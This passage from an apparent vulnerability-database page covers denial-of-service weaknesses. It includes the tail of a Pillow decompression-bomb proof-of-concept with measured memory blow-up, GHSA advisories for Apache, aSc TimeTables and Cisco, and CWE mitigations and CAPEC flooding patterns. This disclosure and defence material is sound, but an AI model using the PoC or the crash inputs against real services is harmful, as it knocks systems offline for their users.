\u003e\u003e\\nstartxref\\n\u0027 + str(xref).encode() + b\u0027\\n%%EOF\\n\u0027\n\nprint(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\")\n\nwith tempfile.NamedTemporaryFile(delete=False, suffix=\u0027.pdf\u0027) as f:\n f.write(buf); tmpname = f.name\n\nwith PdfParser.PdfParser(tmpname) as pdf:\n obj, _ = pdf.get_value(pdf.buf, o3)\n t = time.time()\n decoded = obj.decode()\n print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\")\n\nos.unlink(tmpname)\n```\n\n**Actual output (Pillow 12.1.1, Python 3.12):**\n```\nPDF size: 97,538 bytes (95.3 KB)\nDecoded: 100,000,000 bytes in 0.265s\n```\n\n**Measured expansion:**\n\n| PDF file size | Memory allocated | Ratio | Wall time |\n|---|---|---|---|\n| 10 KB | 10 MB | 1,026\u00d7 | 0.024 s |\n| 95 KB | 100 MB | 1,028\u00d7 | 0.265 s |\n| 475 KB | 500 MB | 1,028\u00d7 | 1.279 s |\n| 950 KB | 1,000 MB (1 GB) | 1,028\u00d7 | 2.668 s |\n\n### Impact\nThis is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.\n\n**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow\u0027s own `PdfParser.py` module, which is distinct from pdfminer.six.\n\n**Suggested fix:**\n\n```python\nMAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap\n\ndef decode(self) -\u003e bytes:\n ...\n if filter == b\"FlateDecode\":\n ...\n result = zlib.decompress(self.buf, bufsize=int(expected_length))\n if len(result) \u003e MAX_DECOMPRESS_BYTES:\n msg = \"Decompressed stream exceeds maximum allowed size\"\n raise ValueError(msg)\n return result\n```",
"id": "GHSA-jjj6-mw9f-p565",
"modified": "2026-07-20T23:11:29Z",
"published": "2026-07-20T23:11:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59200"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/9718"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()"
}
GHSA-JJPP-HX4R-HQPC
Vulnerability from github – Published: 2022-05-01 23:49 – Updated: 2025-04-09 03:55The ap_proxy_http_process_response function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server 2.0.63 and 2.2.8 does not limit the number of forwarded interim responses, which allows remote HTTP servers to cause a denial of service (memory consumption) via a large number of interim responses.
{
"affected": [],
"aliases": [
"CVE-2008-2364"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-13T18:41:00Z",
"severity": "MODERATE"
},
"details": "The ap_proxy_http_process_response function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server 2.0.63 and 2.2.8 does not limit the number of forwarded interim responses, which allows remote HTTP servers to cause a denial of service (memory consumption) via a large number of interim responses.",
"id": "GHSA-jjpp-hx4r-hqpc",
"modified": "2025-04-09T03:55:30Z",
"published": "2022-05-01T23:49:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2364"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42987"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r8c9983f1172a3415f915ddb7e14de632d2d0c326eb1285755a024165%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r8c9983f1172a3415f915ddb7e14de632d2d0c326eb1285755a024165@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9ea3538f229874c80a10af473856a81fbf5f694cd7f471cc679ba70b%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9ea3538f229874c80a10af473856a81fbf5f694cd7f471cc679ba70b@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc4c53a0d57b2771ecd4b965010580db355e38137c8711311ee1073a8%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc4c53a0d57b2771ecd4b965010580db355e38137c8711311ee1073a8@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rdca61ae990660bacb682295f2a09d34612b7bb5f457577fe17f4d064%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rdca61ae990660bacb682295f2a09d34612b7bb5f457577fe17f4d064@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rfbaf647d52c1cb843e726a0933f156366a806cead84fbd430951591b%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rfbaf647d52c1cb843e726a0933f156366a806cead84fbd430951591b@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11713"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6084"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9577"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-August/msg00055.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-August/msg00153.html"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac@%3Ccvs.httpd.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79%40%3Ccvs.httpd.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79@%3Ccvs.httpd.apache.org%3E"
},
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"url": "https://lists.apache.org/thread.html/8d63cb8e9100f28a99429b4328e4e7cebce861d5772ac9863ba2ae6f%40%3Ccvs.httpd.apache.org%3E"
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GHSA-JJX9-WQHX-PW9M
Vulnerability from github – Published: 2026-01-28 18:30 – Updated: 2026-01-28 18:30aSc TimeTables 2021.6.2 contains a denial of service vulnerability that allows attackers to crash the application by overwriting subject title fields with excessive data. Attackers can generate a 10,000-character buffer and paste it into the subject title to trigger application instability and potential crash.
{
"affected": [],
"aliases": [
"CVE-2020-36943"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T18:16:44Z",
"severity": "MODERATE"
},
"details": "aSc TimeTables 2021.6.2 contains a denial of service vulnerability that allows attackers to crash the application by overwriting subject title fields with excessive data. Attackers can generate a 10,000-character buffer and paste it into the subject title to trigger application instability and potential crash.",
"id": "GHSA-jjx9-wqhx-pw9m",
"modified": "2026-01-28T18:30:48Z",
"published": "2026-01-28T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36943"
},
{
"type": "WEB",
"url": "https://www.asctimetables.com/#!/home"
},
{
"type": "WEB",
"url": "https://www.asctimetables.com/#!/home/download"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49147"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/asc-timetables-denial-of-service"
}
],
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"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JM4H-6JWP-8H23
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34A vulnerability in the Shell Access Filter feature of Cisco Firepower Management Center (FMC), when used in conjunction with remote authentication, could allow an unauthenticated, remote attacker to cause high disk utilization, resulting in a denial of service (DoS) condition. The vulnerability occurs because the configuration of the Shell Access Filter, when used with a specific type of remote authentication, can cause a system file to have unbounded writes. An attacker could exploit this vulnerability by sending a steady stream of remote authentication requests to the appliance when the specific configuration is applied. Successful exploitation could allow the attacker to increase the size of a system log file so that it consumes most of the disk space. The lack of available disk space could lead to a DoS condition in which the device functions could operate abnormally, making the device unstable.
{
"affected": [],
"aliases": [
"CVE-2018-15458"
],
"database_specific": {
"cwe_ids": [
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],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-10T19:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Shell Access Filter feature of Cisco Firepower Management Center (FMC), when used in conjunction with remote authentication, could allow an unauthenticated, remote attacker to cause high disk utilization, resulting in a denial of service (DoS) condition. The vulnerability occurs because the configuration of the Shell Access Filter, when used with a specific type of remote authentication, can cause a system file to have unbounded writes. An attacker could exploit this vulnerability by sending a steady stream of remote authentication requests to the appliance when the specific configuration is applied. Successful exploitation could allow the attacker to increase the size of a system log file so that it consumes most of the disk space. The lack of available disk space could lead to a DoS condition in which the device functions could operate abnormally, making the device unstable.",
"id": "GHSA-jm4h-6jwp-8h23",
"modified": "2022-05-13T01:34:15Z",
"published": "2022-05-13T01:34:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15458"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190109-fpwr-mc-dos"
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"url": "http://www.securityfocus.com/bid/106516"
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{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.